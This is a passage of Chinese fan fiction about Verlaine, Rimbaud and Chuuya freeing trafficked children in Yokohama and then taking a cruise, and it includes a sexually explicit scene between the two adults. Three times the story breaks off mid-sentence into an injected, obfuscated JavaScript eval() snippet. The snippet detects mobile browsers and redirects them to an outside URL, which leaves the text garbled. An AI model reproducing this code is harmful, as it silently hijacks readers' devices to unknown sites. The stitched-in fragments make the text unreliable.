中原中也的怒气消退一些,她不好意思地点点头,目送警卫领队一步三回头的离开,随后转身看向三个除了颜色以外都完全一致的集装箱。 “不用看了。” 江户川乱步在兜里摸了半天,没摸到甜食,干脆朝着魏尔伦伸出手, “我想吃梨。” “?” 魏尔伦不太理解,但还是将最后一个洋梨掏给江户川乱步——现在需要利用面前这个人类男孩令他都有些惊叹的智慧,像这样简单且必要的面子工程,人造神明还是很乐意做的, “是哪个集装箱?” “最右边的。” 黑发男孩啃了口梨,盈满唇齿的香甜汁水令他满足地微笑起来, “黑影的监控从我们右后方那个摄像头开始,但没拍到黑影到底从哪里出来,所以我能够锁定这三个集装箱,却不能确定到底是哪个。而现在我知道了——最右边的这个集装箱上,有一道不属于标准化制造的小门。” “啊!” 中原中也惊呼, “真的有。” 就在集装箱正面的边角,卡在监控的盲区处,有一道大约150公分高,50公分宽的小门,侧线与整体相融,如果不是江户川乱步指出,她很难发现。不过就算看见这道门,橘发女孩依然感到迷惑, “可是为什么呢?” “因为要保证‘货品’的存活。” 魏尔伦的语速加快了一些, “定期检查‘货品’状态,又不能太引人注意,像这样的小门就足矣。” 他垂眸,看向中原中也, “至于爆炸的起因——那个‘货品’大概是忽然觉醒异能力,没办法控制好,强烈的恐惧和紧张让他失去理智,从小门逃出后一路奔向大海,最终化作一枚炸弹,引起海中飓风。” 也就是说,如果忽略“货品”本身是人类这一事实的话,这场爆炸只是意外。 “……” 橘发女孩张张嘴,不知道该说什么。 兰波侧过脸,看着魏尔伦,人造神明说完话后,低头瞅了眼手表的时间,又稍微整理了下领带,随后继续握紧行李箱的拉杆,一连串因无聊而烦躁的小动作打破他身上本该沉稳优雅的气息,让他显得——很可爱。 兰波抿抿唇,伸出手搭在魏尔伦的手背上,安抚地拍了拍, “具体情况应该就是如保罗所言,接下来的事交给横滨警方就行,我们先回去吧。” “唔——” 江户川乱步已经啃完了那个梨, “确实如此,不过也不能全都算是意外。” 他努努嘴,说出最终的答案, “这批货物,都是被认为具有‘异能力者资质’的孩童。” 纵然在很多民众看来,异能力者是异类,也挡不住人们对力量和特殊待遇的天然渴望,再加上许多小国为了追求“拥有本国超越者”这种奢望,就诞生了许许多多奇怪的测试方法——日本当然也有,江户川乱步小时候还好奇地做过一两个,后来看穿都是骗术并当场揭发后,就再也不信这些东西了。* “不过也确实,交给警察就好啦。” 黑发男孩打了个哈欠, “本来还以为会有意思一些的,结果还是这么无聊,我也要回去了。” 他朝着中原中也挥挥手, “下次再见,乱步大人会记得给你发芥川他们两个的照片的!” 说完,他就三步并作两步,蹦蹦跳跳地离开。 “那我们也回去吧。” 魏尔伦火速拨通酒店的电话,说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14951708|159563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明了要暂时先再续住三天的事情后,酒店管家非常识趣地主动提出派车来接三人。 兰波低头看了眼中原中也,轻声呼唤, “中也?” “……” “中也?” “啊?啊!兰波姐姐,怎么了?” “回去啦。” 兰波直接把中原中也抱了起来。 “……好。” 橘发女孩乖乖搂住姐姐的肩膀。 不过走到一半时,魏尔伦还是主动接过了看起来瘦小,实际上长得颇为敦实的妹妹,顺便牵住兰波的手。至于箱子——暗红色的流光附在滚轮上,比起用手拉还要更稳当一些。 ———————————————————— “今晚有新闻吗?” “新闻”这个词也是刚学的,已经洗完澡换好睡衣的中原中也趴在沙发背上,眨着钴蓝色的大眼睛,眼巴巴地看向兄长,魏尔伦顿了顿,放下手中的书, “关于人口贩卖吗?” “嗯嗯嗯!” “没有。” 魏尔伦的记忆力很好,他没在电视上看到任何关于人口贩卖的消息, “但我们明天就可以走了。” 人造神明微笑, “港口已经解封。” “……啊?” 中原中也僵硬地愣在原地。 “怎么了?不舍得这里吗?海上风景很好,我定的是最高层套房,会比这个套房更大,还会有很多好吃的。” 他们现在住的这个虽然叫作“总统套房”,却只有一客一厨两卫,加上一间书房,一间起居室和一间大卧室,舒服是舒服,但根本达不到正规总统套房的标准,邮轮那套要多三个卫生间、两间卧室、一间健身房还有一个露台,才是相对正常的套房规格。 魏尔伦以为妹妹听到这些会高兴点,没想到中原中也像是完全没听懂一样,她眉头紧皱,嘴唇绷得笔直, “没有人口贩卖的新闻,为什么会解封呢?” 饶是魏尔伦,也多少看出了妹妹的情绪不太对,他迟疑许久,听到细微的脚步声从起居室过来时,求助般看向兰波,把兰波看得也愣了一下, “保罗?” 黑发女性顺着人造神明的视线看过去,才发现中原中也满脸的愤怒和不解。 “……” 她明白了。 兰波叹息一声,坐到魏尔伦身旁,将中原中也搂进怀里, “中也想要救那些孩子吗?” “……嗯。” “警方没有通报也没有调查,说明对方拥有一定势力,我们如果插手,也许会惹上很大的麻烦。” “……可是、可是……” 中原中也咬着下唇,眼眶通红, “对不起,我只是……对不起。” 她并不是对所有人都心怀拯救之意,也不想让魏尔伦和兰波为难。 但她没办法不去联想到那个“羊”的孩子,还有那个爆炸的黑影——他们会有相同的命运吗?会不会都变成海上的垃圾? 兰波无奈地摇摇头,看向魏尔伦, “保罗,你觉得呢?” “我不怕麻烦。” 魏尔伦其实怎样都无所谓,他看着紧紧贴在兰波怀里的中原中也,和刚换好睡裙的兰波,干脆将两人都搂到怀中,心满意足地开口, “等会儿过去吧,速战速决,明早也就走了。” “……也行,只是不清楚具体有多少个孩子。” “大约十几个,心跳声有些乱,但不会超过二十。” “那就好,我给森鸥外和福泽谕吉都发个信息。” 兰波靠在魏尔伦怀里,噼里啪啦地打着字——森鸥外有没有足够的手段不重要,他只是备选,重点是福泽谕吉,这个人能够拿到异能经营许可证,就代表他背后必然有足够的势力,至于对方是会姑且安置这些被拐卖的孩子,还是借此将人口贩卖集团一网打尽,就不是需要她来操心的事情了。 中原中也还有点发愣,她趴在兰波怀里,仰起头看到兄长平静的脸,以及兰波正在思索短信内容时有些严肃的表情, “哥哥?” “嗯。” “兰波姐姐?” “嗯?” 橘发女孩先给了兰波一个大大的亲吻,又第一次勇敢地亲了兄长的侧脸, “谢谢!” 魏尔伦眨眨眼,再次惊叹——妹妹的情感系统是不是有点太像人类了? 15.横滨再见 “要让中也一起去吗?” 那套柔软的家居服被兰波重新叠起来放在起居室的沙发上,她换好外出的衣服,看着正在脱掉睡衣外套的魏尔伦,轻声询问。 魏尔伦把外套挂在一旁的衣架上,语气认真地反问, “如果不带她一起去,她会伤心吗?” “……” 兰波怔了怔,随后忍不住微笑起来, “应该会的——毕竟是她想要救那些孩子,如果不能亲眼确认,恐怕会有些难过吧。” “那她还是不够信任我们。” 魏尔伦轻轻撇了下唇角,他不是笨蛋,这几天下来,多少也能够理解妹妹惯有的思维逻辑,他不能理解的是——妹妹为什么会有这样的思维, “我们两个、或者我自己就可以单独且快速地完成这件事,她乖乖睡一觉,明早在好消息和好心情中登上游轮,开启快乐的旅途,不是最佳选择吗?” “我同意你的想法,这是理智而正确的决定。” 兰波先点点头,肯定了魏尔伦的话,紧接着又轻轻摇头, “可中也是你的妹妹,你在对待她的时候不应该只有理智,还要考虑她的情感。” 她将一旁的衬衫递给魏尔伦,继续解释, “中也不是分不清轻重缓急的孩子,她并不是不信任我们,而是相信我们即使带上她也不会失败,同时自信于自己的能力,才会提出这样看似有点任性的要求——我们在能够完成任务目标的情况下,确实可以为一些无伤大雅,但能令她高兴一点的小问题做出让步。” 魏尔伦拿着衬衫,迟迟没有穿上,他看向兰波,凝望那双碧色的眼眸,过了许久才移开视线, “……为什么?” “嗯?” “我是说……为什么要为她的情感让步?” 魏尔伦提问的声音很轻,含着真实的疑惑,兰波眨眨眼,不假思索地回答, “因为她是你的妹妹,你爱她,自然要考虑她的情感和想法。” “……” 人造神明忽然抓紧手上的衬衫,柔软轻薄的面料在他手中团出褶皱,他向前走了两步,站到兰波身前,迫使兰波不得不抬起头看他, “怎么了?保罗?” “爱?” 魏尔伦的表情很奇怪,不是疑惑也不是惊讶,更像是质疑, “我作为兄长应当爱中也,所以我也应当为她让步?” 那兰波呢? 兰波曾经无奈地收拾他惹出来的烂摊子,在那么多次任务中替他安排最合适的角色,还在不影响工作的前提下替他恶作剧出气——也是爱吗? 可兰波说过,爱、乃至于一切情感,都是谍报员不需要的。 兰波说他们是搭档,是挚友,是彼此最为信任的人——兰波没说过爱他。 “不是应当爱。” 兰波的眉眼柔和下来,她抚摸着魏尔伦迷茫的脸颊,温声回应, “没有谁会应当要爱谁,保罗可以自己决定。你可以选择不爱中也,也可以选择爱她——人类的情感通常由心做出选择,保罗也早就做好了,不是吗?” 会千里迢迢跑来寻找妹妹,用笨拙但真诚的方式弥补妹妹这两年所受的苦难…… 墨色的睫羽扑闪着垂落,掩住眸中一闪而过的艳羡,兰波扬起微笑,结束关于“爱”的话题, “快换衣服吧。” 魏尔伦依然站在原地看她,那对瑰丽漂亮的湛蓝色眼睛里写满复杂到本人都无法理解的情绪,他张张嘴想要追问,可又好像在顾忌着什么,最终所有的话语,都化作一声轻轻的“嗯”。 但是—— “……这件衬衫不能穿了。” 被他抓皱了。 “……” 兰波无奈地接过衬衫,金色的亚空间闪过,衬衫又恢复成刚熨烫好的平整,她干脆把衬衫抖开,才再次递给魏尔伦。 人造神明乖巧地接过又套上,但似乎没有后退的意思,仍站在原地,兰波被他堵在衣柜的拐角处,只能平视眼前完美到有点过分的身体——以及锁骨上还有些泛红的咬痕。 兰波发誓自己不是故意的,只是那处咬痕在魏尔伦洁白无瑕的身体上太过明显,她才会下意识抬起手抚摸,毕竟在她的印象里,自己昨晚好像没有咬得那么用力。 可魏尔伦扣扣子的手却因此停了下来,他疑惑地歪歪头, “兰波?” 兰波反应过来,立刻收回手,而魏尔伦瞥见她有些泛红的耳根,恍然大悟。 他一只手搂住兰波纤细的腰身,另一只手则扣在兰波的后颈上,随后深深吻了下去。 “唔!?” 碧色的眸子瞬间睁大,兰波茫然地承受唇舌交缠间传来的快感——人造神明的学习能力很强,这点在亲吻上同样生效,他已经能熟练地找到那条曾经总是吐露出冰冷话语的红舌,将其上酝酿的教导并着甘甜的露一起吞下,再温柔地舔吻嫩软的唇瓣,赶在兰波喘不过气之前结束掠夺。 “现在不行,中也还等着呢。” 短暂的深吻结束,松开兰波后,魏尔伦又轻轻啄了下她的唇角,紧接着满脸正经地拒绝, “回来再做。” 这句话说出来时,魏尔伦其实有点难过——他已经明白了,兰波大概真的很喜欢他的容貌和身体,他不介意这点,只是以前的兰波还曾严肃地教育过他,千万不能成为像大仲马他们那样荤素不忌的人,现在兰波自己却…… 想到这里,人造神明又忽然有些庆幸于自己完美的外表,他飞速打好领带穿上马甲,牵住兰波的手, “走吧。” 兰波懵懵地点点头,直到跟在魏尔伦身后走出起居室,才猛然惊觉——谁想做了!? ———————————————————— 人口贩卖集团确实不太聪明,昨晚爆炸之后没有第一时间来检查“货品”,今天中午被发现贩卖人口的事实后,也没第一时间转移“货品”。 当然,也可能是自认为背靠的势力够大,无需在意这些细枝末节。 港口不远处的山崖上,魏尔伦认真端详着目标集装箱周围的情况,片刻后,他抬起头,看向兰波, “两盏灯,两个监控。” “嗯。” 兰波知道他说的是哪几个东西,她牵着中原中也,轻声解释, “任何潜入工作之前,都要确保自己的身影不被发现,所以我们的第一项工作,通常是切断电源,但是——” “——但我们不能切断整个港口的电源。” 魏尔伦接上后半句, “中也知道为什么吗?” “……?” 中原中也眨眨眼,虽然搞不懂为什么忽然变成了对她的考试,可还是听话地思考起来, “唔……” 她皱起眉头,小声回答, “因为切断所有电源的话,会引起很多人注意?” “对。” 兰波抚摸着小孩柔软的橘发,远处两个摄像头和路灯的背后,突然闪烁出现细小的金色方块,精准吞噬对应线路,装有“货物”的集装箱前即刻陷入黑暗。 除此之外,更远些的另一个地方,同样有一片区域暗了下去,中原中也想了想,抢在兰波提问前回答, “这是为了让目标不那么显眼?” “也为了调虎离山。” 魏尔伦将妹妹抱起,又牵住兰波的手,几下腾挪便来到集装箱旁, “白天我们跟警卫队打过交道,横滨港口管理并不严格,警卫数量有限,兰波切断电源的另一处离警卫室更近,他们会优先选择探查那边的情况。” 而他们,也就有了更多的时间。 中原中也点点头,双手虚放在那扇小门上,暗红色的流光倾泻而出,原本锁得紧实的小门瞬间被推开, “好了!” 橘发女孩看起来有些兴奋,她仰起脸来邀功,却被兰波轻轻敲了敲脑门, “莽撞。” “……诶?” “门后是否有人,是敌人还是要救的任务对象,这些还没弄清楚就贸然开门,很有可能遭受意料之外的攻击。” “……哦。” 中原中也抿抿嘴, “可是应该不会有敌人在吧?” 如果对方会留人在里面看守的话,就没必要开这个小门作为检查通道。 “有一定道理,但你不能因此就确定,所以还是要谨慎。” 兰波瞥了眼开门后一片黑洞洞的集装箱内部,轻轻摇头, “至少也要和保罗一样,做好对自身的防护准备。” “?” 橘发女孩转过头看向兄长,这才发现魏尔伦从刚才开始,身上就一直环绕着极为浅淡的暗芒,并站在两人斜前方,伸出手就能阻挡内部攻击的位置。 她羞愧地低下头, “对不起,哥哥。” 万一里面真的有敌人,魏尔伦肯定首当其冲。 “没关系。” 魏尔伦不太在意这些,他抬眸看向兰波,语气平静地汇报, “十四个人类孩子,没有成年人。” “……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14958819|159563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兰波已经不知道该怎么评价这个人口贩卖集团,她无语地抽了下嘴角,牵着中原中也走进集装箱, “能碰见这样狂妄到愚蠢的敌人的机会不多,以后如果还有类似的事情,依然要记得该做的准备。” “好的!” 中原中也连声应下,心却已经不在学习上,扑腾着两条小短腿,速度极快地朝前奔去,兰波和魏尔伦跟在她身后,观察周围的情况。 出乎意料的,集装箱的利用率很高,整个后半部分都堆满正经的货品,魏尔伦瞥了两眼,发现那些货品大多都写着德语,喷涂有生化标志和不知名的图标,像是医疗器械和生物材料,他盯着那个标志,眸色变得有些暗沉。 兰波也看出了货品的类型,有些疑惑, “这么多生化材料?不像是单纯的人口贩卖。” “嗯。” 魏尔伦的神色已经全然暗了下去,语气森冷中藏着冲天的怒火, “他们是要做人体实验。” 人造神明对那个不知名图标印象深刻,因为那是两年多前,他跟兰波一起潜入的日本军方实验室的图标——那个诞生了“荒霸吐”,又将其与实验体融合,创造出中原中也的实验室。 这样一来,前方的巨大木箱中,十四个人类孩子都是“异能力适格者”的原因也清楚了——擂钵街的爆炸不仅没有炸毁日本军方“人造超越者”的梦想,反倒让他们更加期待拥有这种能够一瞬便摧毁半座城市的力量,于是他们重组了实验室,继续搜刮各地的孩童,继续进行“人造异能体”实验。 “保罗?” 兰波眉间的好奇转为担忧,她不太明白魏尔伦为什么对“人体实验”深恶痛绝,但也没再追问,而是握紧魏尔伦的手,轻声安慰, “等会儿我们把这些一起摧毁。” “……好。” 中原中也没听清两人在身后说什么,她一路小跑到巨大木箱前,绷起全部力量覆盖住身体,才推开那扇门,门后原本窸窸窣窣的声音停顿一瞬,又变得大起来, “是谁?” “拓也回来了吗?” “拓也死了。” “你胡说!” “拓也就是死了,下午那个人来说过,你睡着了才没听到。” “怎么会!” …… 真吵。 魏尔伦“啧”了一声,轻轻拍手,木箱随着轻巧的拍手声碎裂,所有的嘈杂也都倏忽停止, “排好队,闭上嘴,走出去。” 中原中也看了看被吓到瑟瑟发抖的一群孩子,轻咳两声,吸引注意, “我们是来救你们的,跟我们出去,会有人安排你们回家。” 缩在一起的孩子们面面相觑,但左右都是死,他们想不到面前三人欺骗他们的必要,于是听话地跟在魏尔伦身后走了出去。 等到魏尔伦将所有小孩送上森鸥外开过来的面包车,已经是将近半小时后。 目送三人的背影消失在夜幕中,地下黑医长长地叹息一声,对坐在副驾驶抱着小孩的侦探社长抱怨, “怎么还有这么小的孩子啊?真是坏到家了。” 那是一个头发黑白双色,瞳孔形状也很奇怪的婴孩,约莫只有一岁出头的样子,拽着福泽谕吉的一缕头发一声不吭,福泽谕吉拍拍那孩子的后背,压低声音, “此地不宜久留,回去再说。” 森鸥外只觉得头大,但这里确实不是安全地带,他撇撇嘴,启动汽车。 ———————————————————— 翌日上午,游轮顶层的套房中,中原中也趴在露台边缘望向大海, “哇——” 橘发女孩以前见过海,只是没从这样近的角度见过,再加上新鲜感十足的环境,令她有些兴奋,从露台这头跑到那头。 兰波站在一旁,同样眺望着平静的海面,脑海中想到的,却是与海和天同色的那对眼眸——不过几天时间,发生的事情又快又多,她接下来该怎么办?要一直跟在漂亮笨蛋身边吗?还是找机会离开?回去法国寻找记忆和身份的线索? 她垂下眼帘,任由海风吹乱墨色的长发,冷意也顺着裸露的脖颈侵蚀,激起细微的颤抖。 “兰波?” 魏尔伦刚把衣柜收拾好,瞅见露台的情况,蹙起眉头,拿着围巾快步走来,松松地绕了两圈,又把兰波拥进怀里, “不冷吗?” 正在思考的大脑停下转动,兰波愣了愣,随后呼出一口气,放松地朝后靠去, “……不冷。” 被围住就不冷了。 16.水水日常 两年前离开横滨后,除了最初养伤的一个多月,魏尔伦基本一直在四处游荡,他不能回法国,也不想在一个地方久待,所以总是居无定所。在这期间,他陆陆续续坐过好几次游轮,豪华的观光型、普通的交通型……对于他来说,游轮的生活只是日常生活的一种。 但中原中也没坐过。 刚登上游轮,看着逐渐远离的横滨时,自有意识以来就一直待在擂钵街的橘发女孩还稍稍情绪低落了一会儿,只不过片刻后,那份情绪就如云烟般消散,目不暇接的新奇东西,各式各样的美味佳肴刺激着小孩的神经,甚至于令她到深夜都没睡着。 “明天还能吃大龙虾吗?” 橘发女孩窝在床上,靠在兰波怀里,对着兄长比画龙虾的大小,她从没见过那——么大的龙虾,一开始还以为是什么怪物的爪子,要不是魏尔伦习惯了在房间里吃饭,没有带她去餐厅,而是让侍从把餐品送过来吃的,她恐怕要在一堆陌生人面前惊呼出声了。 看见妹妹明显困倦但又异常兴奋的样子,魏尔伦微笑着回应, “当然可以,不过除了龙虾以外,套房的配餐还有很多其他美食,中也可以多尝试几种。” “嗯嗯!谢谢哥哥!” 中原中也开心地点点头,又仰起脸看向兰波, “兰波姐姐,明天我们可以去游泳吗?” 游轮上当然有游泳池,而且有很多个,橘发女孩下午的时候其实就有点想去,但那会儿魏尔伦在看电视,兰波在看书,她想了想,还是蹭在兄长身边,等到看完两集电视剧,才跑到露台上向下看一层和二层两个泳池的人群。 中原中也更喜欢二层那个,虽然一层的池子大得像一个小湖,但二层的人少,水面和天空一样瓦蓝干净——想到这里,她忽然沮丧地叹了口气, “我没有他们穿的那种衣服——那种专门游泳的衣服。” 兰波看着小孩皱成一团的小脸,忍不住上手揉了下, “那是泳衣。” 她轻声给中原中也解释, “船上有商店,也会有专门卖泳衣的区域,明天我们先去逛一逛,中也可以自己挑两套喜欢的泳衣买下来,然后再去游泳。” “嗯,明天上午我们去逛商店。” 魏尔伦重复一遍,轻缓地摸摸妹妹柔软的橘色发顶, “所以中也现在该睡觉了,不然明天就起不来了,对不对?” 人造神明的语气是有些刻意的温柔,中原中也虽然感觉哥哥的声音好像比前两天更柔和,但直觉上又并没发现有什么变化,她乖巧地“嗯”了一声,从兰波怀里爬出来,又乖乖躺到床中间,怀揣着对明天的期待闭上眼睛。 兰波给她盖好了被子,在一旁轻柔地拍着她的背,不多时,就听到橘发女孩的呼吸声变得低缓绵长——小孩的精力再怎么旺盛,她今天也确实玩了太久,从早上八点起床到现在,中原中也整整十四个小时没睡过觉,所以一旦放空大脑,自然就会很快入睡。 魏尔伦伸手关掉床头的灯, “走吧。” “?” 兰波歪歪头, “让她自己睡这里吗?” “嗯。” 魏尔伦从口袋里掏出一本小手册,翻开看了眼,底气十足地解释, “中也是个十岁多的孩子,已经开始萌发独立的个人意识,之前在横滨没有条件更好的套房,才不得已让她和我们睡在一起,现在既然有多余的卧室,就应该给她充足的私人空间。” 兰波没看清那本手册的具体名字,只看到封面上放大的《育儿》一词,她沉默片刻,自觉在这方面也没多少经验,于是赞同地点点头,跟着魏尔伦走出卧室,轻巧地关上房门。 其实一开始魏尔伦定的并不是这间套房,而是隔壁那套小一些的,把兰波和妹妹都接到身边之后,他才专门联系了游轮的工作人员,更换成这套面积更大,且所有卧室都连着露台的套房。 中原中也睡着的那间卧室是主卧,和其他两间卧室中隔着起居室,魏尔伦缓步穿过,在兰波有点疑惑的神情中,带着她到了离主卧最远的那间卧室。 兰波走到床边坐下,而魏尔伦仍站在门边,她顿了顿,轻声开口, “……晚安?” “……” 魏尔伦关上了门——从卧室里面。 他的表情有些诡异的奇怪,似乎是在期待兰波说些什么,又好像不想听兰波说话,带着些许的欲言又止,和不知因何而起的红晕,兰波眨眨眼,试探着询问, “保罗?” 她往床里面挪了挪, “要跟我一起睡吗?” 人造神明的表情更奇怪了,他顺着兰波的话坐到床上,缓缓脱掉上衣,侧过头去轻咳一声, “摸吧。” “……?” 兰波不太能理解, “啊?” 摸什么? 魏尔伦点点头——他能理解,兰波肯定还是会有点害羞的,于是他思考片刻后,干脆握住兰波的手,放在自己的胸膛上, “昨天。” 他开口的语调有点高,又顿了一下,才接着往下说, “昨天,兰波不是很想摸吗?” 只不过那会儿他们忙着要出门帮中原中也救被拐卖的人类孩子,他才说到晚上继续。可晚上回来时,兰波洗完澡就搂着中原中也睡着了,他看出来兰波是真的很累——那样精细地操控异能力,对重伤失忆之前的兰波来说易如反掌,但对现在的兰波来说,却十分耗费精力。 所以他昨晚贴心地没打扰兰波,而是把答应兰波的做.爱计划改到了今天。 稍等一下。 兰波瞳孔地震——为什么会有做.爱计划!?而且什么叫作“答应她的”!? 她张开嘴,想要反驳这件事,可惜,本来就没打好草稿的话,全都被魏尔伦精致漂亮,近乎完美到发光的脸,以及那张脸上看似镇定,实则有些忐忑的表情堵了回去。 “……” 好像确实是她的错。 兰波有点绝望地闭上眼——是她一开始猜错了两人的关系,把醉得迷迷糊糊还毫无经验的魏尔伦扯上了床,又在接下来的几天里继续见色起意,才会导致魏尔伦现在默认了两人是可以随便做.爱的关系。 更糟糕的是,她下意识地对魏尔伦这种默认持以认同的态度。 算了,反正她也不吃亏,而且拉近关系有助于她套话。 第三次用这个理由安慰自己,完全无视还有其他套话方式的兰波深吸一口气,一边勾着魏尔伦的脖子往前挪了挪,一边无语地质问, “保罗。” 她磨磨牙, “说要给中也私人空间根本就是借口吧?” “…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14974292|159563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咳,不是。” 魏尔伦眼神漂移了一瞬,正想要继续解释,就被兰波吻住了双唇。 兰波的唇很柔软,浅淡的粉,泛着丝缕的凉意,像初春将落未落的梅花瓣,魏尔伦知道花瓣的味道——只要深入唇齿间勾住嫩红的舌,再把那两瓣唇含在嘴里厮磨一会儿,就能汲取清甜的香气,得到红润可爱的色泽。 一如现在。 兰波被吻得有些喘息,纵然学会了接吻中换气的技巧,但身体素质的差异还是有些过大,她舔了舔下唇,将被拉扯出的银丝舐去,有点不太开心——虽然只做了两次,可为什么每次都是她丧失主动权? 魏尔伦刚拽掉那条睡裙,腰间突然一重,他有些迷茫地仰起脸,看着跨坐在他身上的兰波, “兰波?” 兰波没解释,只是俯下身亲吻他,魏尔伦也就没再追问,他将最后一层洁白的蕾丝也扔到床下,轻巧地覆住小巧的柔软。 好舒服——太不争气了。 兰波有些难耐地结束亲吻,仰起头小声喘息,她搂住魏尔伦的脖颈,脑海中想着该逃离,身体却不由自主地向前,魏尔伦顺势将手换成了唇,品尝着小巧甘甜的花苞。 “哼……!” 兰波闷哼一声,无助地低声恳求, “别——” 话还没说完,魏尔伦又轻轻咬了一下,兰波只能抿住嘴,将惊喘吞回去。 粉樱一样的指尖先是紧紧扣住魏尔伦的肩胛,又重新搂回脖子,拽开黑色丝带,灿金色的发丝失去束缚,随着魏尔伦的动作松散垂落,扫过半开半阖的绿眸,划在兰波的心间,魏尔伦抬起脸,眨了眨瑰丽漂亮的湛蓝色双眸,凌厉精致的眉眼间溢满他自己都未曾察觉的渴望, “兰波……” 他小声呢喃着,径直叩开幽径,埋入温软的梦乡。 “……唔!” 突如其来的动作令兰波浑身发颤,连脚背都绷得笔直,她蹙起眉头,碧色的宝石上也瞬间凝起水汽——第一次“占据上风”的感觉并不好受,反而让她对内部的感知更加明显。 太深了。 可她无能为力。 在颠簸的浪潮里,兰波只能愤愤地咬住魏尔伦的肩头,竭力藏起啜泣的尾音,并在还未完全消失的牙印上方,留下一个新的痕迹。 ———————————————————— “兰波姐姐不游泳吗?” 中原中也把画满小黄鸭的游泳圈套在腰上,疑惑地歪歪头, “是身体不舒服吗?” “……” 兰波躺在太阳椅上,穿得严严实实不说,还盖着一层小薄毯,她努力挤出一个微笑,嗓音有些沙哑, “我有点累,可能是晕船,让保罗陪你一起吧。” “哦——” 中原中也明白了, “那兰波姐姐吃药了吗?” 橘发女孩语重心长地叮嘱, “要记得吃药,才能好得快哦。” “早上已经吃了。” 魏尔伦抢答——他专门给兰波喊了补身体的药膳粥,中原中也急着去逛商店没注意而已。 兰波点点头,默认他的话, “去游泳吧。” 也让她自己在这边好好休息一下,顺便想想,该怎么做,才能限制明显已经食髓知味的魏尔伦越来越放肆的行为。 17.学习计划与生日会 魏尔伦在教中原中也游泳。 海洋在大多数时间里并不安全,靠海越近的地方,就越容易被从不提前打招呼的海风和海浪吞没。因此,纵然“羊”在擂钵街中占领的小屋子离海不远,但过去两年多的时间里,除了偶尔找到合适的地方和时间洗头洗澡以外,中原中也都不会主动靠海太近。 “上半身再放平一些。” 魏尔伦单手按住妹妹的肩头,讲解游泳的原理, “……也就是说,你的身体和水的接触面积越大,能够获得的浮力就越多,在此前提下,使用我刚才所说的摆动双手双脚的方法来模拟鱼鳍,就能够成功在水中游动起来。” “……” 中原中也点点头——反正耳朵听懂了。 她尽量压直背,扑腾着手脚尝试,而随着动作频率的提升,橘发女孩竟然真的在泳池中前进了一小段距离。 “兰波姐姐!” 中原中也兴奋地又往前游了点,呼喊岸上的兰波, “我会游泳了!” 兰波眨了眨眼睛,目光平淡地看向中原中也的腰间, “这样可不能算会游泳。” “……啊!” 中原中也这才想起来,自己腰上还有个小黄鸭游泳圈,刚才沉浸在自由游动的感觉中完全忘记了。她瞬间红了脸,但又有些不服气, “可我真的会游泳了,哥哥教的我都记住了。” 橘发女孩漂在泳池里,姿势标准地往前游着,到达泳池池沿后,将游泳圈摘下,放在兰波脚边,紧接着,在兰波有些无奈的眼神中猛地蹬腿转身,试图重新游回泳池中央的魏尔伦身旁。 然而—— “咕!唔!” 双腿蹬着向前的力量消失后,橘发女孩就开始下沉,瞬间失衡的感受令她恐慌,一时间竟连魏尔伦刚刚讲解了许久的游泳要点都抛诸脑后,毫无章法地扑腾起来, “哥……哥!” 魏尔伦蹙起眉头走了两步——这个泳池其实很矮,是附近这几间顶层套房独享的小泳池,只有1.5米高,二楼和一楼的大泳池都是2米,他也是基于中原中也的身高以及游泳初学者的身份考虑,再加上不想和太多人待在同一个空间里,才会把游泳教学地点定在这里。 “保罗。” 兰波轻声呼唤他的名字,摇摇头,制止他继续往前的行为,随后稍稍提高音量, “中也,放平身体,不要害怕。” 魏尔伦抬眸看了兰波一眼,嘴角动了动,最终还是什么都没说,停在原地。 “唔唔唔——” 中原中也已经被呛了一口水,听到兰波的声音,身上刚浮现的暗红色光芒迅速消失,她努力睁大泳镜下的眼睛,胡乱挥动的手脚逐渐放缓动作,找到节奏,有序地摆动起来,而随着姿势恢复正确,那颗小小的橘色脑袋也再次从水面下钻了出来,像温泉里突然冒出的小橘子。 “噗、咳咳咳、噗呸!” 小橘子再次呼吸到空气的第一件事就是疯狂吐水,好半天才缓过神来,她有点紧张地划动手脚,缓慢游到魏尔伦身边后,终于松了口气,重新高兴起来, “哥哥,兰波姐姐,我真的会游泳了!” “嗯。” 魏尔伦回忆着曾经兰波会在这种情况下说的话, “中也的学习能力很强,很厉害,我为你感到骄傲。” “……” 想说的话被人说了,兰波停顿片刻,选择稍作精简,并加上对未来的期许, “中也很厉害,继续加油,还有很多种不同的游泳方式,以及潜水技巧等等——” ——好像不太对。 看着中原中也脸上有点茫然的表情,兰波卡了下壳,迅速加上前置条件以做补救, “我是说,如果中也很喜欢游泳的话,就可以去学。” “嗯……要喜欢吗?” 中原中也的表情更加迷茫了, 